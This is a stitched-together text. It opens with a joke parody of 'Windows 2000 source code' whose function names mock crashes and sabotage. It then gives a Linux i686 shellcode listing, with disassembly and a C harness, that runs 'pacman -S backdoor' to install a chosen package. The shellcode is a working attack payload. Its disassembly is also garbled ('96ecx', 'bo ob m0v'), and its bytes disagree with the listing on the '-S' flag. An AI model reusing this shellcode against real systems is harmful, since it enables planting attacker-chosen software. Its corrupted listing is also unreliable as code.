[HaBo]

void backdoor(bla)...

void Backdoor

Windows Source Code 

/* Source Code Windows 2000 */

#include "win31.h"
#include "win95.h"
#include "win98.h"
#include "workst~1.h"
#include "evenmore.h"
#include "oldstuff.h"
#include "billrulz.h"
#include "monopoly.h"
#include "backdoor.h"
#define INSTALL = HARD

char make_prog_look_big(16000000);
void main()
{
  while(!CRASHED)
  {
    display_copyright_message();
    display_bill_rules_message();
    do_nothing_loop();

    if (first_time_installation)
      {
      make_100_megabyte_swapfile();
      do_nothing_loop();
      totally_screw_up_HPFS_file_system();
      search_and_destroy_the_rest_of-OS2();
      make_futile_attempt_to_damage_Linux();
      disable_Netscape();
      disable_RealPlayer();
      disable_Lotus_Products();
      hang_system();
      } //if
    write_something(anything);
    display_copyright_message();
    do_nothing_loop();
    do_some_stuff();

    if (still_not_crashed)
    {
    display_copyright_message();
    do_nothing_loop();
    basically_run_windows_31();
    do_nothing_loop();
    } // if
  } //while

  if (detect_cache())
    disable_cache();

  if (fast_cpu())
    {
    set_wait_states(lots);
    set_mouse(speed,very_slow);
    set_mouse(action,jumpy);
    set_mouse(reaction,sometimes);
    } //if

  /* printf("Welcome to Windows 3.1");    */
  /* printf("Welcome to Windows 3.11");   */
  /* printf("Welcome to Windows 95");     */
  /* printf("Welcome to Windows NT 3.0"); */
  /* printf("Welcome to Windows 98");     */
  /* printf("Welcome to Windows NT 4.0"); */
  printf("Welcome to Windows 2000");

  if (system_ok())
    crash(to_dos_prompt)
  else
    system_memory = open("a:\swp0001.swp",O_CREATE);

  while(something)
    {
    sleep(5);
    get_user_input();
    sleep(5);
    act_on_user_input();
    sleep(5);
    } // while
  create_general_protection_fault();

} // main


That's all, no comments !!!

/* 
Title  : Linux i686 - pacman -S <package> (default package: backdoor) - 64 bytes 

Author : Jonathan Salwan 

Pacman is a software package manager, developed as part of the Arch Linux distribution. With this shellcode you can install the backdoor packages. 
  
 ! DataBase of Shellcodes and you can share your shellcodes :
  
  
 Disassembly of section .text: 
  
 08048054 <.text>: 
 8048054:   31 c0                   xor    %eax,%eax 
 8048056:   31 db                   xor    %ebx,%ebx 
 8048058:   31 c9                   xor    %ecx,%ecx 
 804805a:   31 d2                   xor    %edx,%edx 
 804805c:   31 f6                   xor    %esi,%esi 
 804805e:   52                      push   %edx 
 804805f:   68 64 6f 6f 72          push   $0x726f6f64  << This is a package  
 8048064:   68 62 61 63 6b          push   $0x6b636162  << (backdoor). You  can change it. 
 8048069:   89 e6                   mov    %esp,%esi 
 804806b:   52                      push   %edx 
 804806c:   66 68 2d 53             pushw  $0x532d 
 8048070:   89 e1                   mov    %esp,%ecx 
 8048072:   52                      push   %edx 
 8048073:   68 63 6d 61 6e          push   $0x6e616d63 
 8048078:   68 6e 2f 70 61          push   $0x61702f6e 
 804807d:   68 72 2f 62 69          push   $0x69622f72 
 8048082:   68 2f 2f 75 73          push   $0x73752f2f 
 8048087:   89 e3                   mov    %esp,%ebx 
 8048089:   52                      push   %edx 
 804808a:   56                      push   %esi 
 804808b:   51                      push   %ecx 
 804808c:   53                      push   %ebx 
 804808d:   89 e1                   mov    %esp,96ecx 
 804808f:   bo ob                   m0v    $0xb,%al 
 8048091:   99                      cltd    
 8048092:   cd 80                   int    $0x80 
  
  
*/ 
  
  
#include <stdio.h> 
  
int main(void) 
{ 
char shellcode[] =   
  
            "\x31\xc0\x31\xdb\x31\xc9\x31" 
            "\xd2\x31\xf6\x52\x68\x64\x6f" 
            "\x6f\x72\x68\x62\x61\x63\x6b"       
            "\x89\xe6\x52\x66\x68\x2d\x52" 
            "\x89\xe1\x52\x68\x63\x6d\x61" 
            "\x6e\x68\x6e\x2f\x70\x61\x68" 
            "\x72\x2f\x62\x69\x68\x2f\x2f" 
            "\x75\x73\x89\xe3\x52\x56\x51" 
            "\x53\x89\xe1\xb0\x0b\x99\xcd" 
            "\x80"; 
  
        printf("Length: %d\n",strlen(shellcode)); 
    (*(void(*)()) shellcode)();  
  
return 1; 
}